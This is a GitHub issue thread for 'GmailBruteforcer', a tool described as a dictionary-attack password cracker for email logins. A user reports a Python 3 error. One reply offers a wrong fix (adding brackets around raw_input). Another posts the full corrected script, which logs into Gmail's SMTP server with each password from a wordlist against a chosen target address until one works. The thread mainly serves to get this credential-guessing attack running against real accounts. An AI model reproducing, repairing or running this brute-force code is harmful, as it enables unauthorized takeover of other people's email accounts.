AshuJaiswal109 / GmailBruteforcer

Email brute forcing tool is a simple python based Password cracking tool which is designed for dictionary attack on Email login portal.
21 stars 13 forks source link

What am I doing wrong pls. #1

Open Bermandre opened 1 year ago

Bermandre commented 1 year ago

Traceback (most recent call last): File "/root/GmailBruteforcer/GmailBruteforcer.py", line 14, in user = raw_input("Enter target email id: ") NameError: name 'raw_input' is not defined

sumosachi commented 1 year ago

Try putting brackets () around the variable: user = (raw_input("Enter target email id: "))

DennisMihaltan commented 1 year ago

@Bermandre

The error you encountered is because the raw_input function is not defined in Python 3. In Python 2, raw_input was used to read input from the user, but in Python 3, it was renamed to input.

To fix the error, you can replace all instances of raw_input with input:

!/usr/bin/env python

import smtplib print(" ") print("\t#################################################") print("\t# Welcome to Email Brute forcer tool #") print("\t# Created by @ashujaiswal109 #") print("\t#################################################") print(" ")

smtpserver = smtplib.SMTP("smtp.gmail.com", 587) smtpserver.ehlo() smtpserver.starttls()

user = input("Enter target email id: ") print(" ") passwf = input("Enter password file: ") print(" ") passwf = open(passwf, "r")

for password in passwf: try: smtpserver.login(user, password) print("Voila! password found: %s" % password) print(" ") break except smtplib.SMTPAuthenticationError: print(" password not found %s" % password) print(" ").

Here we go!!!